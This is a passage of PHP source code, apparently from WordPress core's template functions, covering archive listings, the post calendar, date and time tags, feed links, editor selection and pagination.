$cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ($arcresults) { $afterafter = $after; foreach ( (array) $arcresults as $arcresult) { $url = get_year_link($arcresult->year); $text = sprintf('%d', $arcresult->year); if ($show_post_count) $after = '&nbsp;('.$arcresult->posts.')' . $afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } elseif ( 'daily' == $type ) { $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ( $arcresults ) { $afterafter = $after; foreach ( (array) $arcresults as $arcresult ) { $url = get_day_link($arcresult->year, $arcresult->month, $arcresult->dayofmonth); $date = sprintf('%1$d-%2$02d-%3$02d 00:00:00', $arcresult->year, $arcresult->month, $arcresult->dayofmonth); $text = mysql2date($archive_day_date_format, $date); if ($show_post_count) $after = '&nbsp;('.$arcresult->posts.')'.$afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } elseif ( 'weekly' == $type ) { $week = _wp_mysql_week( '`post_date`' ); $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } $arc_w_last = ''; $afterafter = $after; if ( $arcresults ) { foreach ( (array) $arcresults as $arcresult ) { if ( $arcresult->week != $arc_w_last ) { $arc_year = $arcresult->yr; $arc_w_last = $arcresult->week; $arc_week = get_weekstartend($arcresult->yyyymmdd, get_option('start_of_week')); $arc_week_start = date_i18n($archive_week_start_date_format, $arc_week['start']); $arc_week_end = date_i18n($archive_week_end_date_format, $arc_week['end']); $url = sprintf('%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', home_url(), '', '?', '=', $arc_year, '&amp;', '=', $arcresult->week); $text = $arc_week_start . $archive_week_separator . $arc_week_end; if ($show_post_count) $after = '&nbsp;('.$arcresult->posts.')'.$afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } } elseif ( ( 'postbypost' == $type ) || ('alpha' == $type) ) { $orderby = ('alpha' == $type) ? 'post_title ASC ' : 'post_date DESC '; $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ( $arcresults ) { foreach ( (array) $arcresults as $arcresult ) { if ( $arcresult->post_date != '0000-00-00 00:00:00' ) { $url = get_permalink( $arcresult ); if ( $arcresult->post_title ) $text = strip_tags( apply_filters( 'the_title', $arcresult->post_title, $arcresult->ID ) ); else $text = $arcresult->ID; $output .= get_archives_link($url, $text, $format, $before, $after); } } } } if ( $echo ) echo $output; else return $output; } /** * Get number of days since the start of the week. * * @since 1.5.0 * * @param int $num Number of day. * @return int Days since the start of the week. */ function calendar_week_mod($num) { $base = 7; return ($num - $base*floor($num/$base)); } /** * Display calendar with days that have posts as links. * * The calendar is cached, which will be retrieved, if it exists. If there are * no posts for the month, then it will not be displayed. * * @since 1.0.0 * @uses calendar_week_mod() * * @param bool $initial Optional, default is true. Use initial calendar names. * @param bool $echo Optional, default is true. Set to false for return. * @return string|null String when retrieving, null when displaying. */ function get_calendar($initial = true, $echo = true) { global $wpdb, $m, $monthnum, $year, $wp_locale, $posts; $cache = array(); $key = md5( $m . $monthnum . $year ); if ( $cache = wp_cache_get( 'get_calendar', 'calendar' ) ) { if ( is_array($cache) && isset( $cache[ $key ] ) ) { if ( $echo ) { echo apply_filters( 'get_calendar', $cache[$key] ); return; } else { return apply_filters( 'get_calendar', $cache[$key] ); } } } if ( !is_array($cache) ) $cache = array(); // Quick check. If we have no posts at all, abort! if ( !$posts ) { $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1"); if ( !$gotsome ) { $cache[ $key ] = ''; wp_cache_set( 'get_calendar', $cache, 'calendar' ); return; } } if ( isset($_GET['w']) ) $w = ''.intval($_GET['w']); // week_begins = 0 stands for Sunday $week_begins = intval(get_option('start_of_week')); // Let's figure out when we are if ( !empty($monthnum) && !empty($year) ) { $thismonth = ''.zeroise(intval($monthnum), 2); $thisyear = ''.intval($year); } elseif ( !empty($w) ) { // We need to get the month from MySQL $thisyear = ''.intval(substr($m, 0, 4)); $d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')"); } elseif ( !empty($m) ) { $thisyear = ''.intval(substr($m, 0, 4)); if ( strlen($m) < 6 ) $thismonth = '01'; else $thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2); } else { $thisyear = gmdate('Y', current_time('timestamp')); $thismonth = gmdate('m', current_time('timestamp')); } $unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear); $last_day = date('t', $unixmonth); // Get the next and previous month and year with at least one post $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year FROM $wpdb->posts WHERE post_date < '$thisyear-$thismonth-01' AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 1"); $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year FROM $wpdb->posts WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59' AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date ASC LIMIT 1"); /* translators: Calendar caption: 1: month name, 2: 4-digit year */ $calendar_caption = _x('%1$s %2$s', 'calendar caption'); $calendar_output = '<table id="wp-calendar"> <caption>' . sprintf($calendar_caption, $wp_locale->get_month($thismonth), date('Y', $unixmonth)) . '</caption> <thead> <tr>'; $myweek = array(); for ( $wdcount=0; $wdcount<=6; $wdcount++ ) { $myweek[] = $wp_locale->get_weekday(($wdcount+$week_begins)%7); } foreach ( $myweek as $wd ) { $day_name = (true == $initial) ? $wp_locale->get_weekday_initial($wd) : $wp_locale->get_weekday_abbrev($wd); $wd = esc_attr($wd); $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>"; } $calendar_output .= ' </tr> </thead> <tfoot> <tr>'; if ( $previous ) { $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link($previous->year, $previous->month) . '" title="' . esc_attr( sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($previous->month), date('Y', mktime(0, 0 , 0, $previous->month, 1, $previous->year)))) . '">&laquo; ' . $wp_locale->get_month_abbrev($wp_locale->get_month($previous->month)) . '</a></td>'; } else { $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad">&nbsp;</td>'; } $calendar_output .= "\n\t\t".'<td class="pad">&nbsp;</td>'; if ( $next ) { $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link($next->year, $next->month) . '" title="' . esc_attr( sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($next->month), date('Y', mktime(0, 0 , 0, $next->month, 1, $next->year))) ) . '">' . $wp_locale->get_month_abbrev($wp_locale->get_month($next->month)) . ' &raquo;</a></td>'; } else { $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad">&nbsp;</td>'; } $calendar_output .= ' </tr> </tfoot> <tbody> <tr>'; // Get days with posts $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date) FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' AND post_type = 'post' AND post_status = 'publish' AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N); if ( $dayswithposts ) { foreach ( (array) $dayswithposts as $daywith ) { $daywithpost[] = $daywith[0]; } } else { $daywithpost = array(); } if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'camino') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false) $ak_title_separator = "\n"; else $ak_title_separator = ', '; $ak_titles_for_day = array(); $ak_post_titles = $wpdb->get_results("SELECT ID, post_title, DAYOFMONTH(post_date) as dom " ."FROM $wpdb->posts " ."WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' " ."AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59' " ."AND post_type = 'post' AND post_status = 'publish'" ); if ( $ak_post_titles ) { foreach ( (array) $ak_post_titles as $ak_post_title ) { $post_title = esc_attr( apply_filters( 'the_title', $ak_post_title->post_title, $ak_post_title->ID ) ); if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) ) $ak_titles_for_day['day_'.$ak_post_title->dom] = ''; if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one $ak_titles_for_day["$ak_post_title->dom"] = $post_title; else $ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . $post_title; } } // See how much we should pad in the beginning $pad = calendar_week_mod(date('w', $unixmonth)-$week_begins); if ( 0 != $pad ) $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr($pad) .'" class="pad">&nbsp;</td>'; $daysinmonth = intval(date('t', $unixmonth)); for ( $day = 1; $day <= $daysinmonth; ++$day ) { if ( isset($newrow) && $newrow ) $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t"; $newrow = false; if ( $day == gmdate('j', current_time('timestamp')) && $thismonth == gmdate('m', current_time('timestamp')) && $thisyear == gmdate('Y', current_time('timestamp')) ) $calendar_output .= '<td id="today">'; else $calendar_output .= '<td>'; if ( in_array($day, $daywithpost) ) // any posts today? $calendar_output .= '<a href="' . get_day_link( $thisyear, $thismonth, $day ) . '" title="' . esc_attr( $ak_titles_for_day[ $day ] ) . "\">$day</a>"; else $calendar_output .= $day; $calendar_output .= '</td>'; if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) ) $newrow = true; } $pad = 7 - calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins); if ( $pad != 0 && $pad != 7 ) $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr($pad) .'">&nbsp;</td>'; $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>"; $cache[ $key ] = $calendar_output; wp_cache_set( 'get_calendar', $cache, 'calendar' ); if ( $echo ) echo apply_filters( 'get_calendar', $calendar_output ); else return apply_filters( 'get_calendar', $calendar_output ); } /** * Purge the cached results of get_calendar. * * @see get_calendar * @since 2.1.0 */ function delete_get_calendar_cache() { wp_cache_delete( 'get_calendar', 'calendar' ); } add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); /** * Display all of the allowed tags in HTML format with attributes. * * This is useful for displaying in the comment area, which elements and * attributes are supported. As well as any plugins which want to display it. * * @since 1.0.1 * @uses $allowedtags * * @return string HTML allowed tags entity encoded. */ function allowed_tags() { global $allowedtags; $allowed = ''; foreach ( (array) $allowedtags as $tag => $attributes ) { $allowed .= '<'.$tag; if ( 0 < count($attributes) ) { foreach ( $attributes as $attribute => $limits ) { $allowed .= ' '.$attribute.'=""'; } } $allowed .= '> '; } return htmlentities($allowed); } /***** Date/Time tags *****/ /** * Outputs the date in iso8601 format for xml files. * * @since 1.0.0 */ function the_date_xml() { echo mysql2date( 'Y-m-d', get_post()->post_date, false ); } /** * Display or Retrieve the date the current $post was written (once per date) * * Will only output the date if the current post's date is different from the * previous one output. * * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the * function is called several times for each post. * * HTML output can be filtered with 'the_date'. * Date string output can be filtered with 'get_the_date'. * * @since 0.71 * @uses get_the_date() * @param string $d Optional. PHP date format defaults to the date_format option if not specified. * @param string $before Optional. Output before the date. * @param string $after Optional. Output after the date. * @param bool $echo Optional, default is display. Whether to echo the date or return it. * @return string|null Null if displaying, string if retrieving. */ function the_date( $d = '', $before = '', $after = '', $echo = true ) { global $currentday, $previousday; $the_date = ''; if ( $currentday != $previousday ) { $the_date .= $before; $the_date .= get_the_date( $d ); $the_date .= $after; $previousday = $currentday; $the_date = apply_filters('the_date', $the_date, $d, $before, $after); if ( $echo ) echo $the_date; else return $the_date; } return null; } /** * Retrieve the date the current $post was written. * * Unlike the_date() this function will always return the date. * Modify output with 'get_the_date' filter. * * @since 3.0.0 * * @param string $d Optional. PHP date format defaults to the date_format option if not specified. * @return string|null Null if displaying, string if retrieving. */ function get_the_date( $d = '' ) { $post = get_post(); $the_date = ''; if ( '' == $d ) $the_date .= mysql2date(get_option('date_format'), $post->post_date); else $the_date .= mysql2date($d, $post->post_date); return apply_filters('get_the_date', $the_date, $d); } /** * Display the date on which the post was last modified. * * @since 2.1.0 * * @param string $d Optional. PHP date format defaults to the date_format option if not specified. * @param string $before Optional. Output before the date. * @param string $after Optional. Output after the date. * @param bool $echo Optional, default is display. Whether to echo the date or return it. * @return string|null Null if displaying, string if retrieving. */ function the_modified_date($d = '', $before='', $after='', $echo = true) { $the_modified_date = $before . get_the_modified_date($d) . $after; $the_modified_date = apply_filters('the_modified_date', $the_modified_date, $d, $before, $after); if ( $echo ) echo $the_modified_date; else return $the_modified_date; } /** * Retrieve the date on which the post was last modified. * * @since 2.1.0 * * @param string $d Optional. PHP date format. Defaults to the "date_format" option * @return string */ function get_the_modified_date($d = '') { if ( '' == $d ) $the_time = get_post_modified_time(get_option('date_format'), null, null, true); else $the_time = get_post_modified_time($d, null, null, true); return apply_filters('get_the_modified_date', $the_time, $d); } /** * Display the time at which the post was written. * * @since 0.71 * * @param string $d Either 'G', 'U', or php date format. */ function the_time( $d = '' ) { echo apply_filters('the_time', get_the_time( $d ), $d); } /** * Retrieve the time at which the post was written. * * @since 1.5.0 * * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option. * @param int|object $post Optional post ID or object. Default is global $post object. * @return string */ function get_the_time( $d = '', $post = null ) { $post = get_post($post); if ( '' == $d ) $the_time = get_post_time(get_option('time_format'), false, $post, true); else $the_time = get_post_time($d, false, $post, true); return apply_filters('get_the_time', $the_time, $d, $post); } /** * Retrieve the time at which the post was written. * * @since 2.0.0 * * @param string $d Optional Either 'G', 'U', or php date format. * @param bool $gmt Optional, default is false. Whether to return the gmt time. * @param int|object $post Optional post ID or object. Default is global $post object. * @param bool $translate Whether to translate the time string * @return string */ function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { // returns timestamp $post = get_post($post); if ( $gmt ) $time = $post->post_date_gmt; else $time = $post->post_date; $time = mysql2date($d, $time, $translate); return apply_filters('get_post_time', $time, $d, $gmt); } /** * Display the time at which the post was last modified. * * @since 2.0.0 * * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option. */ function the_modified_time($d = '') { echo apply_filters('the_modified_time', get_the_modified_time($d), $d); } /** * Retrieve the time at which the post was last modified. * * @since 2.0.0 * * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option. * @return string */ function get_the_modified_time($d = '') { if ( '' == $d ) $the_time = get_post_modified_time(get_option('time_format'), null, null, true); else $the_time = get_post_modified_time($d, null, null, true); return apply_filters('get_the_modified_time', $the_time, $d); } /** * Retrieve the time at which the post was last modified. * * @since 2.0.0 * * @param string $d Optional, default is 'U'. Either 'G', 'U', or php date format. * @param bool $gmt Optional, default is false. Whether to return the gmt time. * @param int|object $post Optional, default is global post object. A post_id or post object * @param bool $translate Optional, default is false. Whether to translate the result * @return string Returns timestamp */ function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { $post = get_post($post); if ( $gmt ) $time = $post->post_modified_gmt; else $time = $post->post_modified; $time = mysql2date($d, $time, $translate); return apply_filters('get_post_modified_time', $time, $d, $gmt); } /** * Display the weekday on which the post was written. * * @since 0.71 * @uses $wp_locale * @uses $post */ function the_weekday() { global $wp_locale; $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) ); $the_weekday = apply_filters('the_weekday', $the_weekday); echo $the_weekday; } /** * Display the weekday on which the post was written. * * Will only output the weekday if the current post's weekday is different from * the previous one output. * * @since 0.71 * * @param string $before Optional Output before the date. * @param string $after Optional Output after the date. */ function the_weekday_date($before='',$after='') { global $wp_locale, $day, $previousweekday; $the_weekday_date = ''; if ( $currentday != $previousweekday ) { $the_weekday_date .= $before; $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) ); $the_weekday_date .= $after; $previousweekday = $currentday; } $the_weekday_date = apply_filters('the_weekday_date', $the_weekday_date, $before, $after); echo $the_weekday_date; } /** * Fire the wp_head action * * @since 1.2.0 * @uses do_action() Calls 'wp_head' hook. */ function wp_head() { do_action('wp_head'); } /** * Fire the wp_footer action * * @since 1.5.1 * @uses do_action() Calls 'wp_footer' hook. */ function wp_footer() { do_action('wp_footer'); } /** * Display the links to the general feeds. * * @since 2.8.0 * * @param array $args Optional arguments. */ function feed_links( $args = array() ) { if ( !current_theme_supports('automatic-feed-links') ) return; $defaults = array( /* translators: Separator between blog name and feed type in feed links */ 'separator' => _x('&raquo;', 'feed link'), /* translators: 1: blog title, 2: separator (raquo) */ 'feedtitle' => __('%1$s %2$s Feed'), /* translators: %s: blog title, 2: separator (raquo) */ 'comstitle' => __('%1$s %2$s Comments Feed'), ); $args = wp_parse_args( $args, $defaults ); echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['feedtitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link() . "\" />\n"; echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['comstitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link( 'comments_' . get_default_feed() ) . "\" />\n"; } /** * Display the links to the extra feeds such as category feeds. * * @since 2.8.0 * * @param array $args Optional arguments. */ function feed_links_extra( $args = array() ) { $defaults = array( /* translators: Separator between blog name and feed type in feed links */ 'separator' => _x('&raquo;', 'feed link'), /* translators: 1: blog name, 2: separator(raquo), 3: post title */ 'singletitle' => __('%1$s %2$s %3$s Comments Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: category name */ 'cattitle' => __('%1$s %2$s %3$s Category Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: tag name */ 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: author name */ 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */ 'searchtitle' => __('%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: post type name */ 'posttypetitle' => __('%1$s %2$s %3$s Feed'), ); $args = wp_parse_args( $args, $defaults ); if ( is_single() || is_page() ) { $id = 0; $post = get_post( $id ); if ( comments_open() || pings_open() || $post->comment_count > 0 ) { $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], esc_html( get_the_title() ) ); $href = get_post_comments_feed_link( $post->ID ); } } elseif ( is_category() ) { $term = get_queried_object(); $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name ); $href = get_category_feed_link( $term->term_id ); } elseif ( is_tag() ) { $term = get_queried_object(); $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name ); $href = get_tag_feed_link( $term->term_id ); } elseif ( is_author() ) { $author_id = intval( get_query_var('author') ); $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) ); $href = get_author_feed_link( $author_id ); } elseif ( is_search() ) { $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) ); $href = get_search_feed_link(); } elseif ( is_post_type_archive() ) { $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) ); $href = get_post_type_archive_feed_link( get_queried_object()->name ); } if ( isset($title) && isset($href) ) echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n"; } /** * Display the link to the Really Simple Discovery service endpoint. * * @link http://archipelago.phrasewise.com/rsd * @since 2.0.0 */ function rsd_link() { echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . get_bloginfo('wpurl') . "/xmlrpc.php?rsd\" />\n"; } /** * Display the link to the Windows Live Writer manifest file. * * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx * @since 2.3.1 */ function wlwmanifest_link() { echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="' . get_bloginfo('wpurl') . '/wp-includes/wlwmanifest.xml" /> ' . "\n"; } /** * Display a noindex meta tag if required by the blog configuration. * * If a blog is marked as not being public then the noindex meta tag will be * output to tell web robots not to index the page content. Add this to the wp_head action. * Typical usage is as a wp_head callback. add_action( 'wp_head', 'noindex' ); * * @see wp_no_robots * * @since 2.1.0 */ function noindex() { // If the blog is not public, tell robots to go away. if ( '0' == get_option('blog_public') ) wp_no_robots(); } /** * Display a noindex meta tag. * * Outputs a noindex meta tag that tells web robots not to index the page content. * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' ); * * @since 3.3.0 */ function wp_no_robots() { echo "<meta name='robots' content='noindex,nofollow' />\n"; } /** * Determine if TinyMCE is available. * * Checks to see if the user has deleted the tinymce files to slim down there WordPress install. * * @since 2.1.0 * * @return bool Whether TinyMCE exists. */ function rich_edit_exists() { global $wp_rich_edit_exists; if ( !isset($wp_rich_edit_exists) ) $wp_rich_edit_exists = file_exists(ABSPATH . WPINC . '/js/tinymce/tiny_mce.js'); return $wp_rich_edit_exists; } /** * Whether the user should have a WYSIWIG editor. * * Checks that the user requires a WYSIWIG editor and that the editor is * supported in the users browser. * * @since 2.0.0 * * @return bool */ function user_can_richedit() { global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE; if ( !isset($wp_rich_edit) ) { $wp_rich_edit = false; if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users if ( $is_safari ) { $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 ); } elseif ( $is_gecko || $is_chrome || $is_IE || ( $is_opera && !wp_is_mobile() ) ) { $wp_rich_edit = true; } } } return apply_filters('user_can_richedit', $wp_rich_edit); } /** * Find out which editor should be displayed by default. * * Works out which of the two editors to display as the current editor for a * user. The 'html' setting is for the "Text" editor tab. * * @since 2.5.0 * * @return string Either 'tinymce', or 'html', or 'test' */ function wp_default_editor() { $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults if ( $user = wp_get_current_user() ) { // look for cookie $ed = get_user_setting('editor', 'tinymce'); $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r; } return apply_filters( 'wp_default_editor', $r ); // filter } /** * Renders an editor. * * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags. * _WP_Editors should not be used directly. See http://core.trac.wordpress.org/ticket/17144. * * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason * running wp_editor() inside of a metabox is not a good idea unless only Quicktags is used. * On the post edit screen several actions can be used to include additional editors * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'. * See http://core.trac.wordpress.org/ticket/19173 for more information. * * @see wp-includes/class-wp-editor.php * @since 3.3.0 * * @param string $content Initial content for the editor. * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/. * @param array $settings See _WP_Editors::editor(). */ function wp_editor( $content, $editor_id, $settings = array() ) { if ( ! class_exists( '_WP_Editors' ) ) require( ABSPATH . WPINC . '/class-wp-editor.php' ); _WP_Editors::editor($content, $editor_id, $settings); } /** * Retrieve the contents of the search WordPress query variable. * * The search query string is passed through {@link esc_attr()} * to ensure that it is safe for placing in an html attribute. * * @since 2.3.0 * @uses esc_attr() * * @param bool $escaped Whether the result is escaped. Default true. * Only use when you are later escaping it. Do not use unescaped. * @return string */ function get_search_query( $escaped = true ) { $query = apply_filters( 'get_search_query', get_query_var( 's' ) ); if ( $escaped ) $query = esc_attr( $query ); return $query; } /** * Display the contents of the search query variable. * * The search query string is passed through {@link esc_attr()} * to ensure that it is safe for placing in an html attribute. * * @uses esc_attr() * @since 2.1.0 */ function the_search_query() { echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) ); } /** * Display the language attributes for the html tag. * * Builds up a set of html attributes containing the text direction and language * information for the page. * * @since 2.1.0 * * @param string $doctype The type of html document (xhtml|html). */ function language_attributes($doctype = 'html') { $attributes = array(); $output = ''; if ( function_exists( 'is_rtl' ) && is_rtl() ) $attributes[] = 'dir="rtl"'; if ( $lang = get_bloginfo('language') ) { if ( get_option('html_type') == 'text/html' || $doctype == 'html' ) $attributes[] = "lang=\"$lang\""; if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' ) $attributes[] = "xml:lang=\"$lang\""; } $output = implode(' ', $attributes); $output = apply_filters('language_attributes', $output); echo $output; } /** * Retrieve paginated link for archive post pages. * * Technically, the function can be used to create paginated link list for any * area. The 'base' argument is used to reference the url, which will be used to * create the paginated links. The 'format' argument is then used for replacing * the page number. It is however, most likely and by default, to be used on the * archive post pages. * * The 'type' argument controls format of the returned value. The default is * 'plain', which is just a string with the links separated by a newline * character. The other possible values are either 'array' or 'list'. The * 'array' value will return an array of the paginated link list to offer full * control of display. The 'list' value will place all of the paginated links in * an unordered HTML list. * * The 'total' argument is the total amount of pages and is an integer. The * 'current' argument is the current page number and is also an integer. * * An example of the 'base' argument is "http://example.com/all_posts.php%_%" * and the '%_%' is required. The '%_%' will be replaced by the contents of in * the 'format' argument. An example for the 'format' argument is "?page=%#%" * and the '%#%' is also required. The '%#%' will be replaced with the page * number. * * You can include the previous and next links in the list by setting the * 'prev_next' argument to true, which it is by default. You can set the * previous text, by using the 'prev_text' argument. You can set the next text * by setting the 'next_text' argument. * * If the 'show_all' argument is set to true, then it will show all of the pages * instead of a short list of the pages near the current page. By default, the * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size' * arguments. The 'end_size' argument is how many numbers on either the start * and the end list edges, by default is 1. The 'mid_size' argument is how many * numbers to either side of current page, but not including current page. * * It is possible to add query vars to the link by using the 'add_args' argument * and see {@link add_query_arg()} for more information. * * @since 2.1.0 * * @param string|array $args Optional. Override defaults. * @return array|string String of page links or array of page links. */ function paginate_links( $args = '' ) { $defaults = array( 'base' => '%_%', // http://example.com/all_posts.php%_% : %_% is replaced by format (below) 'format' => '?page=%#%', // ?page=%#% : %#% is replaced by the page number 'total' => 1, 'current' => 0, 'show_all' => false, 'prev_next' => true, 'prev_text' => __('&laquo; Previous'), 'next_text' => __('Next &raquo;'), 'end_size' => 1, 'mid_size' => 2, 'type' => 'plain', 'add_args' => false, // array of query args to add 'add_fragment' => '' ); $args = wp_parse_args( $args, $defaults ); extract($args, EXTR_SKIP); // Who knows what else people pass in $args $total = (int) $total; if ( $total < 2 ) return; $current = (int) $current; $end_size = 0 < (int) $end_size ? (int) $end_size : 1; // Out of bounds? Make it the default. $mid_size = 0 <= (int) $mid_size ? (int) $mid_size : 2; $add_args = is_array($add_args) ? $add_args : false; $r = ''; $page_links = array(); $n = 0; $dots = false; if ( $prev_next && $current && 1 < $current ) : $link = str_replace('%_%', 2 == $current ? '' : $format, $base); $link = str_replace('%#%', $current - 1, $link); if ( $add_args ) $link = add_query_arg( $add_args, $link ); $link .= $add_fragment; $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $prev_text . '</a>'; endif; for ( $n = 1; $n <= $total; $n++ ) : $n_display = number_format_i18n($n); if ( $n == $current ) : $page_links[] = "<span class='page-numbers current'>$n_display</span>"; $dots = true; else : if ( $show_all || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) : $link = str_replace('%_%', 1 == $n ? '' : $format, $base); $link = str_replace('%#%', $n, $link); if ( $add_args ) $link = add_query_arg( $add_args, $link ); $link .= $add_fragment; $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>$n_display</a>"; $dots = true; elseif ( $dots && !$show_all ) : $page_links[] = '<span class="page-numbers dots">' . __( '&hellip;' ) . '</span>'; $dots = false; endif; endif; endfor; if ( $prev_next && $current && ( $current < $total || -1 == $total ) ) : $link = 